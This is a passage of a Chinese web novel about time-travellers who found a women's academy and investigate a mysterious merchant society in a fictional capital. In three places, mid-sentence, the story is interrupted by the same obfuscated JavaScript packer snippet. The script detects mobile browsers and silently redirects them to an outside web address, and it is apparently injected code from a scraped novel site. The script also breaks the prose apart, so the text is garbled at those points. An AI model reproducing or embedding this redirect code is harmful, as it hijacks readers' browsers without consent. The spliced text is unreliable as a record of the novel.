叶斯年脚步一顿,心头瞬间掀起惊涛骇浪,鸡皮疙瘩倏然爬上了手臂。她僵直地盯着赵煜,眼神里写满了不可置信,竟然伸手狠狠掐了他一把。 “嘶——你属螃蟹的吗?!”赵煜倒吸一口凉气,龇牙咧嘴地揉着手臂,眼神里满是不解。 叶斯年已经顾不上理他,脑子里翻涌着无数念头。 两人说话间,脚步不觉慢了下来,此时已至半山腰,眼前是一片静谧辽阔的天地。夕阳将山野染成一片温暖的金红,层峦叠嶂间,瑶京的城廓如画卷缓缓展开。 这份宁静之下,却藏着一个令人心惊肉跳的真相。 “听过分岔历史理论吗?”叶斯年忽然开口,声音很轻。 赵煜微微侧头,示意她继续。 “文明的发展并非单线进行,而是在关键节点上,因重大分歧,分裂出不同的平行宇宙。”叶斯年的语调很慢,每一个字都像是在咀嚼着巨大的发现,试图从逻辑中寻得一丝支撑。 她深吸了一口气:“如果这一理论成立,那么我们的文明与这个世界的文明,分岔点是什么?” 话音落下,空气仿佛在一瞬间凝固。 赵煜的脸色微变,他忍不住打了个寒颤。而后,两人不约而同地脱口而出—— “焚书坑儒!” 远山寂静,瑶京的城廓在夕阳下投下悠长的剪影。叶斯年望着这片天地,忽然觉得自己站在某个巨大的谜题边缘,所有的线索正一点点浮现出来,而她却无从求证。 赵煜揉了揉她的脑袋:“行啦,想那么多,就当这理论成立吧,那又能怎么样?反正回不去。” 叶斯年不满地推开他的手:“如果这个理论成立,那你就没想过一个问题吗?” “什么问题?” “难道只有一个分岔点?按周苓的说法,历史早就变了。” “你的意思是……” 叶斯年一字一句道:“现在,已经进入平行宇宙了。” 最终两人也没讨论出什么结果,只是赵煜在单方面接受叶斯年的质疑。等两人下了山,天色已然暗了,前头的一行人早已走远,只给他们留了一匹马和王府的马夫。看来卫珩已经先带着瑾年回去了。 赵煜一上马车,便迫不及待地黏了过来:“我最近表现得不错吧?学堂马上落成,文刊也顺利大卖!” 叶斯年捧着手炉,憋着笑。 “你答应我的!” “好好好,又不是不讲。”她顿了顿,故意吊着他的胃口,“就给你讲一小段吧。” 马车晃晃悠悠地驶入瑶京街道。赵煜听完阿斯玛的这一段故事,整个人像是被秋霜打蔫的茄子,耷拉在车壁上,连平日里惯有的插科打诨都不愿费力。 “再给你讲一段?”叶斯年瞧着他那副失魂落魄的模样竟觉得好笑。 赵煜连连摆手,面无表情地拒绝:“不听了,听不动了。” 叶斯年歪着头看了他一眼:“那换你给我讲讲?” “讲什么?”赵煜一脸茫然,显然还未从刚才的故事余韵里缓过来。 “韩婉和赵渊啊!他们以前到底发展到哪一步?现在赵渊又是个什么想法?” 赵煜本来蔫巴巴的,闻言顿时不满地哼了一声:“你方才不是还说我‘性缘脑’?你自己呢?” “说不说?” 赵煜揉了揉手臂,叹了口气:“说说说——” 正说话间,马车已缓缓停在王府门口。叶斯年很是不满,抬眼瞧了瞧赵煜。 赵煜靠在车壁上:“那我长话短说吧——赵渊飞檐走壁的功夫,可比我强。” 叶斯年一愣,随即双眼发亮,语气里掩不住兴奋:“真的假的?!” 赵煜被她那副探秘似的模样逗得笑弯了腰,忍不住伸手捏了捏她的鼻尖:“你怎么这么八卦呢?” 叶斯年仍沉浸在这个惊人的“秘闻”里,愣愣地下了车,顺手嘱咐车夫送赵煜回宫,转身便往府里走。可刚迈出几步,她忽然停住,像是突然想起了什么,折返回来,一把掀开车帘:“不对啊,你不是说,这大沅的轻功,你排第二,卫珩排第一吗?” 赵煜一时没反应过来,嘴角的笑意僵住了。叶斯年却不给他反驳的机会,笑着便跑远了。红色的披肩在夜风里一晃,消失在府门内。 “这家伙,真是……” 这一场雪下到半夜,次日清晨,整个瑶京已是银装素裹,屋檐下垂着长长的冰凌。 几人如约而至,来到了皇城区边上的一处宅院。这处宅子原是赵煜挂在浮生堂名下的产业,先前一直空置,如今正好派上用场。 此处地段极佳,离闹市不远,周围正是世家女子出入的街巷,若日后向民间开放,也恰到好处。几人商量后,决定将这里设为观澜书院,与问津书局就隔着一条街。 一般书坊多挂靠书院,以便享受“书院自校”的政策,售卖传统话本、文集,或刻印经史子集。而问津书局本已单独申请到了凭照,思醴却仍坚持挂靠观澜书院。如此一来,书局虽仍是自营,却多了一层书院的名头,与寻常书坊有所区别。 “其实也没太大区别,”思醴笑眯眯地解释,“最大的不同在于——我们问津书局可以申请刊印。” 叶斯年听得一头雾水,仍是不解:“听着好像也没什么大不同……” 思醴扬起手中的账册:“等年后瑶京的半月刊如雨后春笋般冒出来,你就知道区别了!” 她晃了晃账册:“到时候,所有书坊想卖半月刊,都得先层层上报审批,走完批文流程,才能正式售卖。” “半月刊归属‘时论’,不在‘书院自校’的范围内,所以一般书坊要售卖,仍要经过层层核准。可问津书局不同,我们申请刊印权的时候,顺手就把售卖权一并报了——反正审核的是同一批人。” “更何况,半月刊本就是‘一年一报’。” 叶斯年一时语塞,看着思醴这副“算盘打得噼啪响”的模样,半晌才勉强点点头。 思醴又补充道:“你想想,等其他书坊拿到半月刊时,我们这边已经铺货几轮了。” 叶斯年看着她满脸的得意,心里忽然升起一种不祥的预感,忽而说道:“可这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15007518|156999||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 样的话,求索文刊由问津书局刊印,问津书局又挂靠观澜书院,不就意味着求索不能保持中立了?” 思醴闻言一笑:“年后,问津书局可就不止刊印‘求索文刊’这一份刊物了。已经有几位贵人在申请刊号了,到时候,他们一定会把刊印和售卖都委托给我们问津书局。” 叶斯年心下一凛,顿时明白了她的意思。 一旦掌握了刊印权,便等于握住了市场流通的脉搏。而当不同立场的刊物皆出自同一家书局,这里便不再只是贩书之所,而是瑶京舆论的中枢。 即便日后其他书局纷纷效仿,申请凭照,申请刊印,《求索》早已抢占先机,占据最核心的受众与市场。届时,旁人的刊物放在《求索》旁,不过是蹭个热度罢了。 “瑶京的书市,怕是要起风了。” “郡主,你别跟思醴讲这些,”韩婉打着呵欠,半眯着眼说道,“她脑子里装的都是金元宝。你只要确定她站在咱们这边就行了。” 几人围坐在火炉前,旁边一叠叠文书摞得比韩婉的脑袋还高。韩婉懒洋洋地趴在案上,一手撑着脑袋,一手随意地翻了翻那几张墨迹未干的纸,上面赫然写着 “观澜书院章程” 几个大字。 “婉儿此言差矣,”思醴笑眯眯地摇了摇头,“我现在可不缺钱,做生意不过是图个乐趣罢了。再怎么样,也不至于为了赚钱坏了大家的事,那可就没意思。” “再者,郡主可是给了我不少妙计,比如这‘饥饿营销’,当真是绝妙!” 韩婉随手拎起一张纸,懒洋洋地靠在椅背上,漫不经心地念道:“每旬设课七日,休沐三日,遇年节依例放假。每季为一学期,季考评定学业优劣,凡连两季考核不合格者,不得再留院修习。” 她一边念,一边轻轻敲着纸张:“啧,这可是头一回听说书院还有这么严苛的淘汰制。” 最后这一条规矩,是叶斯年方才加上的。为了这条规定,她与长公主据理力争,反复商讨了数日,才终于敲定。最初,她的想法是——凡期末考核不合格者,立刻退学,但最终才让步,将标准放宽至“两季不合格者,不得继续修习”。 叶斯年执笔写着最后一版章程:“女子受教本就不易,若只学些皮毛,反倒令人看轻。从来都是如此,咱们的努力和付出都得比男子超出一大截。” 韩婉嗤笑一声,随手将手里的纸一抛:“瑶京这些个男子学堂都没这么苛刻的淘汰制。” “莫说男子学堂了,就是翰林院、国子监,也不过是一堆滥竽充数之徒。”赵玥端着茶盏站在叶斯年身后,“诶,我老早就想问了,你这手字跟谁学的?” 思醴闻言,眼睛一亮:“郡主要不要出个字帖?!” 韩婉顺手揉了一团废纸,精准无误地砸向思醴:“就你这财迷样,迟早要被人抬出去。” 思醴也不恼,伸手接住纸团,顺手丢进火炉:“名额越少,说明能进来的越了不起。越是严格,说明留下的越了不起。我一会儿把这章程贴出去,肯定不少人抢着来报名。” 正如思醴所料,问津书局的布告才刚贴出去,便有诸多商贾人家纷纷递上拜帖,争相求个入学之机。 傍晚时分,案几上厚厚的帖子摞得几乎要倒。韩婉揉着额角,看着那堆得快要漫出桌沿的拜帖,忍不住啧了一声:“你早知会如此?明日便是开学典礼,这许多拜帖,该如何回复?” “商贾之家最是精明,置田买铺不若栽培子女。此番观澜书院既有长公主挂名,又得太子殿下资助,谁会舍此良机?” “章程越严,越显观澜书院之不同,亦昭示着女子入仕可期。朝堂空缺甚大,风早就起了,只是有些人还未嗅到罢了。” 韩婉眯着眼瞧她:“你这算盘,从头打到尾啊。” 思醴懒洋洋地伸出胖乎乎的手:“我不过因势而动,略作添柴之举罢了。” 54.开学 开学典礼之后,观澜书院将迎来一场前所未有的入学大考。 昨夜递帖报名的女子实在太多,书院一时间难以尽数容纳。韩婉连夜将众人召集,赵玥与叶斯年很快又争执了起来。 “人手我来安排,院子我来备,连夜扩充,多少都能接。”赵玥态度坚决。 “你这也太草率了。”叶斯年按住眉心,“观澜书院是天下第一座女子学堂,既无先例可循,便要步步谨慎。你能保证这些人里没有混水摸鱼的?若是有人故意搅局,坏了名声,岂不功亏一篑?” “依你之见呢?”赵玥冷笑,“难道全都拒之门外?那岂不是坐实了书院只收士族之女?” 两人针锋相对,谁也不肯退让。 韩婉困得眼皮直打架,终于忍无可忍,一拍案几,没好气道:“你们俩吵得我脑仁疼!” 赵玥甩了甩袖子,不耐烦地说:“依你之见,该如何?” “设一场入学大考,择优录取。”韩婉懒懒地揉了揉眉心,“名额拓宽至五十人,也算勉强能容纳。” 叶斯年思索片刻,忽然灵光一闪:“还是婉儿高明!我怎么把这茬给忘了!我们还可以模拟春闱放榜,把试题和录取的卷子刊登出来。” “这倒是个好主意。”思醴眼中透着几分精明,“还可以编一本《观澜书院初试文录》,定能大卖!” 众人闻言,顿时精神一振,一拍即合,连夜拟定考题。 韩婉实在撑不住,揉了揉眉心,起身便往屋里走:“你们几个先折腾着吧,等琢磨出个章程了再来叫我,我且去歇歇。” 叶斯年连忙跟上,凑近低声问:“你昨天和赵渊干嘛去了?今天一早就犯困?” 韩婉脚步一顿,随即不由分说在她胳膊上掐了一把,低声喝道:“你胡说些什么呢!昨儿个我早早就回府了!今儿个天冷,烤着火就犯困,怎的,到你嘴里还能编出别的来?” “好好好!”叶斯年笑着求饶,“你注意安全就好。” “你俩嘀嘀咕咕什么呢?”赵玥翻着书,头也不抬,“叶斯年,你给我过来,让婉儿休息。” 思醴凑近,贼兮兮地朝叶斯年眨了眨眼。 叶斯年压低声音,一脸八卦:“真的假的?和好了?” “干活!”赵玥拿起手中折扇给她们一人来了一下。 “昨晚赵渊在我府上用膳的。”赵玥翻着手中的范文集,“不过,他心情倒是不错。” 叶斯年正要追问,赵玥干脆一本书按上她的脸:“别多话,干活。” 众人挑灯夜战,定下了试题。 叶斯年望着这行字,心中不免犹豫:“这题是不是太过激进了?若女子们在考卷上大胆言论,将来若被人揪着不放……” 赵玥懒懒倚在书案旁:“总得有人探探路。” 韩婉同样不以为然:“怕什么?此题未曾定论,不见得她们就不能谈。” 叶斯年无奈地笑了笑,忽然意识到自己竟成了这群人里最保守的一个。 次日清晨,赵煜刚踏进书院,便瞧见厅里横七竖八倒着五个人,皆睡得东倒西歪,好一副鏖战通宵的惨烈景象。青枝带着几位侍女急急忙忙地进屋,将几位主子一一喊醒,众人这才匆匆收拾,勉强拾掇出个能见人的模样。 时辰将近,赵渊也赶了过来。众人正草草用着早饭,赵玥见了他,皱眉不耐地问:“你怎么也来了?苏贵妃知道吗?” “再如何,总得尽尽礼数。”赵渊慢条斯理地说道,朝随行的侍从抬了抬下巴,示意他们将箱子抬上前,“上好的笔墨纸砚,预祝观澜书院……”他拖长尾音,眼神若有似无地落在韩婉身上,见她始终未曾抬头,便自顾自笑了笑,补上一句:“桃李盈门,群芳竞秀,立贤良之志,开不世之风。” 赵玥冷哼一声,懒得搭理。在场众人也没人理他,都埋头吃饭,唯独叶斯年,瞧着这位恶名远扬的二皇子被女孩们冷落得彻底,替人尴尬的毛病又犯了。毕竟,说到底,也不过是个二十出头的小孩。 她抬头冲他笑了笑:“吃了吗?要不要一起?”话一出口,她自己也觉着尴尬了。 韩婉放下碗筷嘟囔道:“一会儿我父亲要过来,我去门口接他,你们几个吃完赶紧收拾收拾,书桌上的笔墨还没理呢。”说罢,便匆匆离席,径自出了厅堂。 赵玥见状,随手拽住赵渊的袖子:“既然来了,把你的笔墨纸砚摆上,”随后又抬手在赵煜肩上推了一把,“你也是,都赶紧去学堂那边帮忙,别杵在这儿当摆设。” 观澜书院的开学典礼十分顺利,长公主与赵煜分立两侧,同时揭下牌匾上的红布。金漆大字“观澜书院”,堂堂正正,熠熠生辉。 围观之人纷纷涌上前来,既有朝堂命官、商贾世家,也不乏文人墨客,当然,更多的则是怀揣期待的求学女子。听闻入学需经大考,人群中顿时一片哀嚎,有人低声抱怨,有人焦急叹息。 叶斯年侧身与赵煜低语:“无论什么时代,学生们都很讨厌考试啊。” “你倒是乐在其中。” 他心知她昨夜忙碌未歇,顺势站在她身后,轻扶着她的腰,“往后靠一靠,歇会儿。” 正当众人议论纷纷之际,赵玥微微抬手,示意众人安静:“观澜书院初立,诸事筹备未及完备,暂且只能容纳五十名学子。然书院既开,便不会止步于此,诸位娘子若未能入学,也不必心急。待下一学期,书院定会扩建,届时可再行投帖报名。” 人群中,有女子脆生生地问道:“下期还要考吗?” “规矩自当如初,凡欲入学者,皆须经考选。但书院定会设法拓展学舍,以容纳更多学子。此外,诸位娘子若有志于学,书院会设公开讲学之日,届时诸位皆可前来听讲。只要用心研习,自可得其所愿。” 参加考试的女子多达百余人,年岁不一,身份各异。有人锦衣华服,仪态端庄;有人衣饰素净,眉宇间透着坚韧。从七八岁尚带稚气的小姑娘,到十五六岁风华初绽的豆蔻少女, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15015592|156999||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 再到二十出头、已议亲成家的娘子,甚至还有几位牵着孩童的妇人,或是挺着肚子的孕妇。 书院临时增设了许多桌椅,连饭桌都被征用,仍显局促。初雪尚未消融,几处席位不得不设于连廊之下,虽已屏风挡寒,却仍透着丝丝凉意。 待考生们落座,四周寂静无声,赵玥清朗的声音在院中响起:“今日之考,试题仅此一题——” 众人屏息凝神,等待她揭晓。 “女诫之道,是否有碍国计?” 话音刚落,书院中便是一片低低的哗然。女孩们交头接耳,神色各异。果然如众人所料。 赵玥抬手示意众人安静:“诸位娘子不必踌躇,若担忧议论‘女诫’、‘国计’,引人非议,自可退场,本宫绝不阻拦。但须知,观澜书院所授之学、所论之道,皆在此列。既入书院,本宫自会为学子拦下是非。” 片刻后,陆续有女子提笔作答,也有人犹疑难决,最终仍有两人收拾笔墨,默默起身。 众人未曾议论,叶斯年亲自送她们从后门离去。 其中一人回首,眼神复杂:“郡主,不是我们不愿……今日我们本就是偷偷跑出来的,若叫家里知晓……” “无妨,学问一途,从无迟早。下学期再来,到那时,你们家中便未必不会同意了。” 本场考试未设时限,有人寥寥几笔便搁下笔,也有人伏案疾书,洋洋洒洒写了好几页,连着续了两次纸张仍觉不够。 “这得是积了多少怨气啊?”叶斯年侧身,压低声音与赵煜耳语。 赵煜朝连廊下努了努嘴:“我刚瞧见有个姑娘写着写着,眼泪都掉下来了。” 顺着他的视线望去,果然见一位女子低垂着头,肩膀微微颤抖,笔下的字迹隐隐透着几分凌乱。 另一边,青枝和花梧并肩而坐,皆在廊下落笔答题。一个如山岳般魁梧秀丽,一个如修竹般挺拔潇洒,风雪飘落,二人神色沉静。 叶斯年饶抬手在面前比了个取景的手势:“你说,要是能拍下来就好了,多好看。” 随即她转头看赵煜,笑得促狭:“哦,我忘了,你是个2G网的。我们那时候的手机,拍出来可好看了。” 赵煜没好气地瘪了瘪嘴:“我那时候的手机也能拍,行吗?” 正说着,思醴鬼鬼祟祟地领着一群人架起了画板。她搓着手,裹紧了身上的羊毛披肩,压低声音说:“我找了几个画师,画几幅考场景象,回头在书局里张贴。” 叶斯年朝她比了个大拇指:“不愧是你!” 考试方才结束,众人忙着收拾考卷,还未来得及细看,外头便接连抬进来许多贺礼。 大抵都是书籍、笔墨纸砚,还有几箱金银绢帛,堆得前院满满当当。 其中一个精致的木匣子被单独摆在最上方,匣上压着一封信,封皮上赫然写着——“郡主亲启。” 叶斯年远远看了一眼,顿时头皮一紧:“我现在看见这几个字就犯怵。” 55.宋五 书院的灯火刚点上,几人围坐在桌前,案上堆着刚整理好的考卷,尚未来得及翻阅。 “京中的士绅倒是慷慨得很。”思醴随手翻了翻,“也不知是敬咱书院,还是敬咱几位殿下的面子。” “都是些无关紧要的东西。”赵玥漫不经心地开口,“不过这份——”她指了指案上一只雕花乌木匣,“郡主不看看?” 叶斯年随手拆开,略略扫过前几行,便知又是一篇洋洋洒洒的溢美之词,将观澜书院的成立称作“承天光启,垂范千古”,将赵玥、叶斯年等人赞得恨不得立时封圣。 她兴致缺缺地往后一翻,才瞧见信尾落了几行字: “青冥堂愿助郡主一臂之力,随信附上京中驻点及掌柜,敬献白银三万两。” “都是些阿谀奉承之话。”叶斯年借了赵玥的折扇,轻轻挑开匣盖。 五百两面额的银票整整齐齐地叠放,厚厚一沓压在一枚玉牌之下。玉牌雕工精致,光润剔透,玉面上刻着“青冥”二字,泛着幽幽光泽。 赵玥伸手取过玉牌,翻来覆去看了看,似笑非笑:“这是什么意思?” “青冥堂这回倒是下了血本。”叶斯年望向韩婉,“你知道为什么吗?” 韩婉被点了名,有些窘迫地摆摆手:“郡主,你就别拿这事儿问我了。我知道的也有限。这些人行事神秘,往来都只靠书信。我爹倒是曾见过他们在京中的掌柜,但也是人自己找上门来的。这令牌,我也是头一次见。” 赵玥把玉牌递还给叶斯年:“倒是块好玉,收着吧。” “封建迷信,能是什么好东西?”叶斯年懒懒地瞥了一眼,“反正咱们太子殿下也不差这点钱,银票收着,暂时别动。” 她随手将玉牌收进袖中,脸上仍是一派淡然,信中那串驻点与掌柜她没有提及,倒是转身时,与赵煜交换了一个眼神。 众人约好了次日再阅卷,将卷宗妥善封存,各自散去歇息。 太子大婚在即,瑶京上下皆紧锣密鼓地筹备着。赵煜如今与宁安王府往来愈发频繁,时常借与叶太尉议事之机入府,一来二去,左右耽搁,便顺势在前厅用膳。叶绍与周苓对这位未来女婿、当朝太子,礼数周全,态度恭敬,然眼底那几分微妙的嫌弃,却是如何也掩不住了。 赵煜与他的中舍人一同大摇大摆地跟着叶斯年回了王府。饭桌上,众人刚坐定,叶斯年便开口提起青冥堂的事。 承骁、承勇、花梧都在校场操练,并未在座,今日席间之人却皆是清楚她身份的。 叶绍看着桌上那份名单皱起眉头:“这些商号可都是瑶京颇有名头的,竟然都是青冥堂的产业?” 赵煜埋头苦吃,被叶斯年狠狠踢了一脚,才堪堪回神,一抬头便对上叶绍与周苓嫌弃的目光。 他连忙接过名单扫了一眼,也是不解:“这里面不少铺子,原本都是花月阁的产业。玄月司倒台之后,这些铺子竟被青冥堂收购了?” “茶铺、作坊、蕃货馆……竟然什么都有。明日我跑一趟瑶京府,查查最近是否有商号变更。” 卫珩道。 叶斯年颔首:“行,瑾年明日随我去名单上的几家商号,卫珩去瑶京府。” 赵煜满脸期待:“那我呢?” “你吃饭吧。” 瑾年没忍住笑出声:“阿姐,其实不必一家家跑。” “怎么说?” “明日城东金坊街的会子铺要办雅市,这些商号的掌柜肯定都在。” 赵煜兴致勃勃地说道:“这个交给我!我让蔡掌柜给你弄个私堂。” 见叶斯年一脸的疑惑,赵煜解释道:“就是商业街的商会要办拍卖会,我去给你开个包间。” 叶斯年端着汤盏轻轻一晃,懒懒地道:“行吧,你接着吃吧。” “不可不可。”瑾年连忙摆手,“这事儿我们找思醴,我们最好也乔装打扮一番再去。” “怎么说?”轮到赵煜不解了。 “会子铺的雅市往常是允许围观的,还有戏曲表演,但这次没请帖的人根本进不去。估摸着,有些不见得合法的东西。这种场合,殿下若去了,他们当然不敢拦着,可只怕许多东西也不会拿出来。” “有意思,那还得是瑾年来安排。” “......” 次日,一行人来到金坊街。 当初赎花梧时,叶斯年便曾与青枝来过此地,倒也不算陌生。只是这会子铺,她还是头一遭见识,在现代也不过是在网上看过拍卖会的直播。 叶斯年与瑾年特意乔装,换上护卫打扮,戴着半面遮脸的面具,随思醴一同混入会子铺。思醴嫌赵煜太过显眼,死活不肯带他同行,最终连卫珩也戴了面具,随她们一道。赵煜被打发去了瑶京府查阅商号变更。 思醴此行,实则也是随她商行的一位女掌柜同行。此人原是她的贴身武婢,早年范正清严令禁止思醴经商,于是思醴便借她的名义开了几家铺子。多年过去,这位女掌柜不仅成了瑶京屈指可数的富商,还是许多商号明面上的大东家。她行事雷厉风行,连朝中贵人都不敢轻易小觑,而坊间更是流传,她不仅精通账目,更是一身好武艺,性子刚烈,脾气暴躁。范家也就默许二十出头的思醴还不议亲了。 “五娘子,楼上请!”会子铺的店小二眼尖,一见她踏入门槛,立刻堆着笑脸迎了上去。 话音未落,便见一个身着锦袍、气度不凡的商会掌柜匆忙赶来,一把拽住店小二,低声呵斥,随即换上恭敬的笑容,朝一行人作揖:“宋东家驾临,怠慢之处,还望恕罪。楼上最好的雅间已备下,宋东家请——” 宋五懒懒地瞥了他一眼,微微颔首,这才领着众人往楼上走去。 思醴凑到叶斯年耳语:“宋五最烦别人叫她五娘子……” 果不其然,一进雅间,宋五便劈头盖脸地骂道:“没长眼的东西,坏了姥子雅兴!” 说完才意识到今日来的可不止思醴,还有叶斯年与瑾年,气势一滞,随即收了音,讪讪一笑:“郡主、二娘子见谅,我跑商的,随意惯了。你们叫我宋五就成。” 思醴笑着推她入座:“别跟他们一般见识。今天看看有些什么好货。一会儿把名单上的人叫过来,郡主想瞧瞧。”说着,她将一份名单递了过去。 宋五随意扫了一眼:“成……” 雅市还未开场,宋五与思醴二人勾肩搭背,指着楼下戏台上的小生评头论足,言辞露骨,毫不遮掩。 卫珩听了片刻,终于忍无可忍,从袖中摸出两团棉花,塞进了瑾年的耳朵里。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15030158|156999||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 瑾年愣了一下,扭头瞪着卫珩。卫珩一本正经地解释道:“瑾娘子尚未及笄,这个……” 叶斯年忍俊不禁,伸手轻轻拍了拍瑾年的脑袋,看向思醴和宋五:“你俩够了啊,都还没成亲的姑娘,怎么说得这么不成体统?” “郡主竟如此保守?阿姐还同我说,郡主最是不拘一格。”宋五回头瞟了叶斯年一眼。 思醴随手敲了她一下:“人家不拘一格,才不是你这样的!” 叶斯年懒懒地揽着思醴:“行了行了,你也没好到哪儿去。给我看看说得哪个小生?” “哦,果然,好看好看。” “我觉得还是太子殿下好看!” “阿姐,你居然觊觎太子!还当着郡主的面儿!” “我无所谓的……”叶斯年漫不经心地啜了口茶。 “唉,我还是觉得苏廷章好看。” 宋五啧啧叹气,满脸遗憾。 “这个我认可,他确实比太子好看。” “那你怎么不选苏廷章?是不是太子强迫你了?宋五替你打他一顿!” “行了行了,人家感情好得很。”思醴拍了拍宋五的肩。 “子澹是好看,但那是可远观而不可亵玩焉。” 宋五顿时愣住,张了张嘴,惊呆地看向叶斯年:“亵……亵玩?阿姐,这下我信了,你说郡主不拘一格,果然名不虚传!” 身后,卫珩正死死抓着瑾年的双手,牢牢捂住她的耳朵,目光幽怨地看着叶斯年。 叶斯年回敬了一个眼神:“别打小报告啊!” 楼下戏台已然换作拍卖台,正中央架起一面鎏金大锣。台下人群早已熙熙攘攘,掌柜站在台上,中气十足地朗声道:“诸位东家、贵客,今日雅市,奇珍异宝云集,愿君识珠,得物有缘!”话音未落,便高高扬起铜锤,猛然敲响大锣—— “咣——!” 清亮悠长的锣声穿透厅堂,瞬间压下了满场的喧哗。 “今日首件拍品——‘瑞云腾赤’珊瑚树!”掌柜声音激昂,抬手示意两名伙计将红绸盖布揭开,一株约莫三尺高的赤珊瑚赫然陈列在玉台之上。 整株珊瑚通体绛红,枝干繁密,如虬龙盘绕,细枝交错间透着润泽的光晕,宛若云霞蒸腾。 “主干挺直不弯,端的是难得一见的上品。 ”思醴与宋五交头接耳地商议着。 “此珊瑚出自南海千年沉礁,原本藏于西洋舶商手中,经几番辗转才得入瑶京。整株天成,无一丝断裂修补,乃珊瑚之冠、世间孤品!”掌柜顿了顿,抬高嗓音,“起拍价——五万两白银!” 台下顿时哗然,惊叹之声此起彼伏。 “好珊瑚!” “通体绛红,纹理细腻,竟未有半点断痕!” “这可是宫里才能见到的御赏珍品!” “我听闻几年前,西洋贡使曾进献一对珊瑚树......” “这一株……与东宫那一株......好相似......”卫珩的语气透着几分迟疑。 此言一出,包间内顿时一片寂静。 叶斯年慢条斯理地磕着瓜子:“宫里一件你一件,古往今来,怎么就没点新鲜事儿呢?” 瑾年支着下巴:“这些就看谁胆子大,敢接下这桩买卖了。”